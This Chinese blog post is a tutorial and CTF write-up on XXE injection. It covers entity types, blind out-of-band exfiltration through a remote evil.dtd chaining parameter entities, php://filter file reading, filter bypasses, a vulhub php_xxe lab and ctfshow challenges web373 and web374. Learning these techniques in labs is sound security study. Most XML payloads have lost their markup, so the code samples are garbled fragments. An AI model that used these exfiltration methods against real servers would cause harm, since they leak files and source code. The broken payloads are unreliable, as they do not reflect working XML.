xxe盲注
创始人
2025-05-30 13:13:06

简单描述xxe:

内部声明实体,格式为


   //DTD实体
]>
&errorr0;123

引用外部实体


   //DTD外部实体
]> 
&errorr0;123

如何区分,一开始我也看不懂有啥区别,最后是啥发现了内部实体就是引用得值是已经定义好了,而外部实体的值就是通过某些函数比如system来获取,不是提前定义好的。

参数实体

上面的内部还是外部实体的值,都是再文档外面调用的,而如果我们想在里面调用,就需要用到参数实体。

%实体名称 ;----- 相当于调用



%b;
]>最后输出的答案为:hello errorr0

 可以看出%b在dtd的里面。 

内部实体+参数实体混合调用


">
%errorr1;
]>&errorr2;123

先调用参数实体,然后数据中又是一个实体,再在文档元素中调用&errorr2; 。

预定义实体,实体引入字符

当然除了这些,还有一种方式代替一些符号比如百分号%,参数实体的百分号%也不能出现在实体值中,这个时候我们可以用Unicode编码,%=% 也可以写做16进制 ,%=%=%

外部实体+参数实体的二重调用 



%errorr1;
%errorr;
]>&errorr2;123flag.txt中内容如下:">

盲注xxe

因为上面的都是有回显的题目都会有print或者echo之类输出的语句, 但是如果没有回显了怎么办呢?

构造的XML
  //这是需要带出去的一串数据
  //服务器中放入嵌套数据
%remote;
%all;
]>
&send;
errorr.txt">
1.php

其实就是通过了参数实体+外部实体,首先调用%romore获得errror.txt中的实体,然后调用%all获得了后面的send最后调用外部实体,调用了1.php中的内容,然后把file里面的数据放到了1.txt中,这样就把数据外带了。

因为DTD外部实体中带入的 SYSTEM 可以执行http:// 、 file:// 、 https:// ,因此不用怀疑,我们还能进行php://伪协议的利用,比如php://filter中我们可以用base64或者rot13编码一些文件或者网站的源码供我们读取。

XXE过滤ENTITY关键字

完全可以用上面的方式把ENITY放到,服务器上的一个文件中然后读取

复现的环境:

  • PHP 7.0.30
  • libxml 2.8.0
  • libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。

这里就不细写知识点了,这个链接挺全的。主要通过题目和复现来逐渐理解。

首先复现vulhub上的php_xxe

环境搭建:找到php_xxe的 那个

 然后直接docker-compose up -d,然后访问8080端口就可以了。

(ps:一定保证8080的端口是空闲的,这里我的kali以前鼓捣过,8080端口开过apache信道服务,捣鼓不明白 只能重开一台kali)

目录下有dom.php、index.php、SimpleXMLElement.php、simplexml_load_string.php其中dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞。

dom.php: DOMDocument:: loadXML()//从字符串加载XML文档

loadXML($data);print_r($dom);

 SimpleXMLElement.php:SimpleXMLElement类标识xml文档中的元素

simplexml_load_string.php: simplexml_load_string()//接受格式正确的XML字符串,并将其作为对象返回

name;

burp抓包进行修改,加入如下代码:这是使用的外部实体

 
	]>	
&xxe;					
		

 发现执行成功。

==============

web373

loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// 加载xml实体,参数为替代实体,加载外部子集$creds = simplexml_import_dom($dom);$ctfshow = $creds->ctfshow;//结点嵌套echo $ctfshow;
}
highlight_file(__FILE__);    


   
  ]>
 
    &xxe;
 

这里ctfshow的标签因为是结点嵌套所以必须存在,  然后&xxe后面的分号一定要有。

web374

loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

这里没有print echo所以无回显,所以我们需要找个东西来外带我们要获取的数据。

evil.dtd


">
 
 
%dtd;%int;%send; ]> 

需要在服务器上开启web功能。

过滤http头、xml这些可以换个编码绕过

ps感想:

弄这个apache搞了好几天一直报错,实在是顶不住了,如果有会的师傅可以滴滴我,感激不尽呀!!! 

相关内容

热门资讯

荼蘼什么意思 岁月缱绻葳蕤生香... 感谢作者【辰夕】的原创独家授权分享编辑整理:【多肉植物百科】百科君坐标:云南 曲靖春而至,季节流转,...
世界上最漂亮的人 世界上最漂亮... 此前在某网上,选出了全球265万颜值姣好的女性。从这些数量庞大的女性群体中,人们投票选出了心目中最美...
长白山自助游攻略 吉林长白山游... 昨天介绍了西坡的景点详细请看链接:一个人的旅行,据说能看到长白山天池全凭运气,您的运气如何?今日介绍...
应用未安装解决办法 平板应用未... ---IT小技术,每天Get一个小技能!一、前言描述苹果IPad2居然不能安装怎么办?与此IPad不...
阿西吧是什么意思 阿西吧相当于... 即使你没有受到过任何外语培训,你也懂四国语言。汉语:你好英语:Shit韩语:阿西吧(아,씨발! )日...